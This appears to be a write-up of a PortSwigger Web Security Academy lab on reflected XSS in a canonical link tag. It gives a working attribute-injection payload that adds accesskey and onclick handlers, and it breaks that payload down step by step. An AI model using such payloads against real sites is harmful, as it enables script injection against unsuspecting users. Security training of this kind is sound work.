

Lab: Reflected XSS in canonical link tag

Lab Information

- **Platform:** PortSwigger Web Security Academy
- **Category:** Reflected Cross-Site Scripting (XSS)
- **Difficulty:** Practitioner
- **Status:** Solved 

Objective

The application reflects user input inside a canonical `<link>` tag and escapes angle brackets.

The goal is to perform a reflected XSS attack by injecting an HTML attribute that calls:

```
alert(1)
```

The lab also provides keyboard shortcuts that can be used to trigger the injected functionality:

```
ALT + SHIFT + X  
CTRL + ALT + X  
ALT + X
```

The intended solution works only in Chrome.

Reconnaissance

The first step was to identify where the user-controlled input was reflected.

The application reflects the input into the `href` attribute of a canonical link tag.

The HTML structure is conceptually similar to:

```
<link rel="canonical" href="USER_INPUT">
```

This is important because the injection context is an **HTML attribute**, not normal HTML body content.

Important Observation

The application escapes angle brackets:

```
< → &lt;  
> → &gt;
```

Therefore, traditional payloads such as:

```
<script>alert(1)</script>
```

cannot be used to create a new HTML element.

Instead, the attack must target the existing attribute.

Vulnerability Analysis

The vulnerability exists because user-controlled input is reflected inside an HTML attribute without properly preventing the injection of additional attributes.

The important part is:

```
href="USER_INPUT"
```

If we can close the existing quote, we can inject our own attributes.

Original Structure

```
<link rel="canonical" href="USER_INPUT">
```

Breaking Out of the Attribute

The first character of the payload is a quote:

```
"
```

This closes the original `href` value:

```
<link rel="canonical" href="">
```

We can then add additional attributes.

💥 Exploitation

The payload used was:

```
?%27accesskey=%27x%27onclick=%27alert(1)
```

After URL decoding:

```
'accesskey='x'onclick='alert(1)
```

The important components are:

```
%27
```

which represents:

```
'
```

Then:

```
accesskey='x'
```

and:

```
onclick='alert(1)
```

Conceptually, the resulting HTML becomes similar to:

```
<link rel="canonical"  
      href=''
```

```
accesskey='x'  
onclick='alert(1) '>
```

The exact resulting HTML depends on how the application constructs the canonical URL, but the important idea is that the injected quote terminates the existing attribute and allows additional attributes to be interpreted by the browser.

Why `accesskey`?

The lab provides a major clue by specifying keyboard combinations:

```
ALT + SHIFT + X  
CTRL + ALT + X  
ALT + X
```

This points toward the HTML `accesskey` attribute.

For example:

```
accesskey="x"
```

associates the element with the keyboard key `x`.

The injected event handler is:

```
onclick="alert(1)"
```

Therefore, the attack flow is:

```
accesskey="x"  
  ↓  
User presses the corresponding shortcut  
  ↓  
Element is activated  
  ↓  
onclick executes  
  ↓  
alert(1)
```

Payload Breakdown

The payload:

```
?%27accesskey=%27x%27onclick=%27alert(1)
```

can be broken down into:

Payload Part	Meaning
%27	URL-encoded ' '
accesskey=	Creates an access key attribute
%27x%27	Sets the access key to x
onclick=	Creates an event handler
%27alert(1)	JavaScript executed by the event

The important technique is:

```
Break out of existing attribute
↓
Inject accesskey
↓
Inject onclick
↓
Trigger using keyboard shortcut
↓
alert(1)
```

Tools Used

- Burp Suite
- Browser DevTools
- Chrome
- PortSwigger Web Security Academy

Solution

The lab was solved by injecting an attribute into the canonical link tag.

The final payload was:

```
?%27accesskey=%27x%27onclick=%27alert(1)
```

The payload uses:

```
%27
```

to represent a single quote and break out of the existing attribute context.

Then it injects:

```
accesskey='x'
```

and:

```
onclick='alert(1)
```

After sending the payload, Chrome was used to trigger the injected `accesskey` using one of the keyboard combinations provided by the lab:

```
ALT + SHIFT + X  
CTRL + ALT + X  
ALT + X
```

Once the event was triggered:

```
alert(1)
```

executed successfully.

```
Reflected Input  
  ↓  
Canonical Link  
  ↓  
Attribute Context  
  ↓  
Quote Injection  
  ↓
```

```
accesskey="x"
  ↓
onclick="alert(1)"
  ↓
Chrome Keyboard Shortcut
  ↓
alert(1)
  ↓
Lab Solved ✅
```

What I Learned

- **XSS depends heavily on the injection context.**
 - HTML context
 - Attribute context
 - JavaScript context
 - URL context
- **Escaping `<` and `>` does not necessarily prevent XSS.**
- When the input is reflected inside an attribute, look for **attribute injection** rather than trying to inject a new `<script>` tag.
- Quotes are extremely important in HTML attributes:

```
"
'
```

A quote can terminate an existing attribute and allow additional attributes to be injected.

- The `accesskey` attribute can provide an interaction mechanism for triggering an injected event handler.
- Lab-specific clues are important. The provided keyboard shortcuts were a strong indication that `accesskey` should be investigated.
- Browser behavior matters. This lab specifically requires **Chrome** for the intended solution.

References

- PortSwigger Web Security Academy

- PortSwigger XSS documentation
- OWASP Cross-Site Scripting (XSS) documentation